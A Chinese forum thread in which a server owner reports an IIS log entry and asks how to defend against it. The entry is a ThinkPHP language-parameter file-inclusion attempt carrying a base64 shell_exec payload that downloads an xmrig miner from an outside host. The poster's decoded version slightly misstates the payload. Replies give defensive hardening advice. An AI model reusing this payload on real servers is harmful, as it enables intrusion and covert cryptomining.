夭寿拉!我的windows服务器被攻击了!!!

今天早上我心血来潮查了一下我的window服务器的iis日志。结果发现有一条信息如下:
/index.php?lang=…/…/…/…/…/…/…/…/usr/local/lib/php/pearcmd&+config-create+/&/<?shell_exec(base64_decode("cGtpbGwgLTkgLmZveG07IHdnZXQgaHR0cDovL2Rvd25sb2FkLmFzeW5jZm94Lnh5ei9kb3dubG9hZC94bXJpZy54ODZfNjQ7IGN1cmwgLU8gaHR0cDovL2Rvd25sb2FkLmFzeW5jZm94Lnh5ei9kb3dubG9hZC94bXJpZy54ODZfNjQ7IG12IHhtcmlnLng4Nl82NCAuZm94bTsgY2htb2QgK3ggLmZveG07IC4vLmZveG07"));?>+/tmp/ohhellohttpserver.php

然后我看到有base64,我解了一下:
pkll -9 .foxm; wget http://download.fioxx.xyz/download/xmrig.x86_64; curl -O http://download.fioxx.xyz/download/xmrig.x86_64; mv xmrig.x86_64 /tmp/ohhellohttpserver.php

个人分析这段php代码是通过shell_exec的函数执行了上面的命令,下载了一个 ‘xmrig’的二进制文件,并且重命名为 ohhellohttpserver.php放在了temp目录下。。。
求助各位大佬,我要怎么防这种攻击

7 个赞
  1. 更新和打补丁
  2. 禁用不必要的PHP函数
  • 在php.ini配置文件中禁用 例如:
  • disable_functions = exec, shell_exec, system, passthru, phpinfo, show_source
  1. 防火墙搞起来(如果没搞)
  2. 权限限制起来 不要给Web服务的用户过多的权限 尤其是执行权限
5 个赞

攻进去了还是只是尝试?

2 个赞

这是tp版本语言加载功能的任意文件包含漏洞,升级版本即可解决,或者关闭register_argc_argv,楼主环境是windows是无法利用的,只是一个批量利用的请求。

不确定是否攻进来了,我的netcore的后端部署在iis上的。从iis日志里面翻到的。前几天是看到多了好多国内+86注册,怀疑出问题了,然后我今天就上来看了一下

我是cf pro,每天能帮我拦下不少嗅探。常见的漏洞方式都能给你拦了。

2 个赞

从url来看,你的参数竟然能穿出去,而且还直接带入了shell_exec进行执行。这就有点离谱了。

防止这种的话,我觉得下面这几点可以参考:

  1. 用户输入必须检查(格式,类型,长度,编码)
  2. 不要直接用类似c里面system这种来执行命令。php我不太熟悉,不知道有没exec函数族,切换成配置argc、argv数组这种样式的,注入的命令一般不能被正确拆分,执行也是报错。好像有个shell库
  3. php的插件随时更新…鬼知道你引用的东西里面写代码的人有没有安全意识 :smiling_face_with_tear:。(能自己审代码就看一下ok)
1 个赞

windows的服务器,如果是linux,我就折腾上雷池waf了,可惜是windows. 现在的整体架构 是 阿里云的公网负载均衡 接了两台 阿里云内网服务器。得研究一波加waf了

我不是php项目。。要不然我现在就炸了兄弟。。

:face_holding_back_tears:不是就好,我只瞥了一眼你给出的url,index.php?lang=…,这代码谁写的,还是你用的库?这个东西怎么能穿出去了。我看有人回复这个

php我不熟悉,只能给一点上面的建议。

cf 的waf好 接入嘛?

我里面还查看到了好多嗅探的信息。。。。就可怕

:joy:这个大可放心,都是批量的段扫描,每天都有人扫的。空间测绘?好像是这个名词来着,找始皇问下,弄个waf接入即可

2024-03-04 06:32:21 172.24.79.93
 GET /xy/ - 8060 - 100.122.22.96 Mozilla/5.0+(Linux;+Android+11;+vivo+1906;+wv)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Version/4.0+Chrome/87.0.4280.141+Mobile+Safari/537.36+VivoBrowser/8.9.0.0  404 0 0 1
2024-03-04 06:32:21 172.24.79.93 
GET /api/exclude/siteConfig/webSiteConfig - 8060 - 100.122.22.8 Mozilla/5.0+(Linux;+Android+11;+vivo+1906;+wv)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Version/4.0+Chrome/87.0.4280.141+Mobile+Safari/537.36+VivoBrowser/8.9.0.0  404 0 0 1
2024-03-04 06:32:21 172.24.79.93 
GET /index_files/bankCheck.js - 8060 - 100.122.19.110 Mozilla/5.0+(Linux;+Android+11;+vivo+1906;+wv)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Version/4.0+Chrome/87.0.4280.141+Mobile+Safari/537.36+VivoBrowser/8.9.0.0  404 0 0 0
2024-03-04 06:32:21 172.24.79.93 
GET /api/getconfig.aspx - 8060 - 100.122.21.149 Mozilla/5.0+(Linux;+Android+11;+vivo+1906;+wv)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Version/4.0+Chrome/87.0.4280.141+Mobile+Safari/537.36+VivoBrowser/8.9.0.0  404 0 0 0
2024-03-04 06:32:21 172.24.79.93 
GET /static/index/js/lk/order.js - 8060 - 100.122.22.86 Mozilla/5.0+(Linux;+Android+11;+vivo+1906;+wv)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Version/4.0+Chrome/87.0.4280.141+Mobile+Safari/537.36+VivoBrowser/8.9.0.0  404 0 0 1
2024-03-04 06:32:22 172.24.79.93 
GET /v1/management/tenant/getSpeedDomain - 8060 - 100.122.22.14 Mozilla/5.0+(Linux;+Android+11;+vivo+1906;+wv)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Version/4.0+Chrome/87.0.4280.141+Mobile+Safari/537.36+VivoBrowser/8.9.0.0  404 0 0 1
2024-03-04 06:32:22 172.24.79.93 
GET /verification.asp - 8060 - 100.122.21.194 Mozilla/5.0+(Linux;+Android+11;+vivo+1906;+wv)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Version/4.0+Chrome/87.0.4280.141+Mobile+Safari/537.36+VivoBrowser/8.9.0.0  404 0 0 0
2024-03-04 06:32:22 172.24.79.93 
GET /v6/getAppContent - 8060 - 100.122.19.104 Mozilla/5.0+(Linux;+Android+11;+vivo+1906;+wv)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Version/4.0+Chrome/87.0.4280.141+Mobile+Safari/537.36+VivoBrowser/8.9.0.0  404 0 0 0
2024-03-04 06:32:22 172.24.79.93 
GET /masterControl/getSystemSetting - 8060 - 100.122.21.146 Mozilla/5.0+(Linux;+Android+11;+vivo+1906;+wv)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Version/4.0+Chrome/87.0.4280.141+Mobile+Safari/537.36+VivoBrowser/8.9.0.0  404 0 0 0
2024-03-04 06:32:22 172.24.79.93 
GET /infe/rest/fig/advertise/common.json mobile_open=1 8060 - 100.122.22.96 Mozilla/5.0+(Linux;+Android+11;+vivo+1906;+wv)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Version/4.0+Chrome/87.0.4280.141+Mobile+Safari/537.36+VivoBrowser/8.9.0.0  404 0 0 1
2024-03-04 06:32:22 172.24.79.93 GET /banner.do code=1 8060 - 100.122.22.11 Mozilla/5.0+(Linux;+Android+11;+vivo+1906;+wv)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Version/4.0+Chrome/87.0.4280.141+Mobile+Safari/537.36+VivoBrowser/8.9.0.0  404 0 0 0```

应该没有攻击成功

这个 EXP 应该是

一个任意文件上传,得配合一个文件包含才能完成攻击

拉出来给大家欣赏一波,心塞,没事老嗅探我服务器干啥

1 个赞

php的。我系统没有php环境,大概率是没有成功的,但是我看了就很膈应。想着是不是上个waf…但是没有接过waf又怕接入比较麻烦

1 个赞

普通waf需要布置在你服务前面,请求先走一通waf再转发给你,不知道现在这些服务商有没有那种一键式无感部署哈哈哈哈,我觉得是有的。毕竟你的服务器和ip都是他们的,给你做一个提前检查也很简单。

我就简单跟着这个教程搞了一下

2 个赞

上个waf吧,安心一点;雷池的也可以,搞个前置linux环境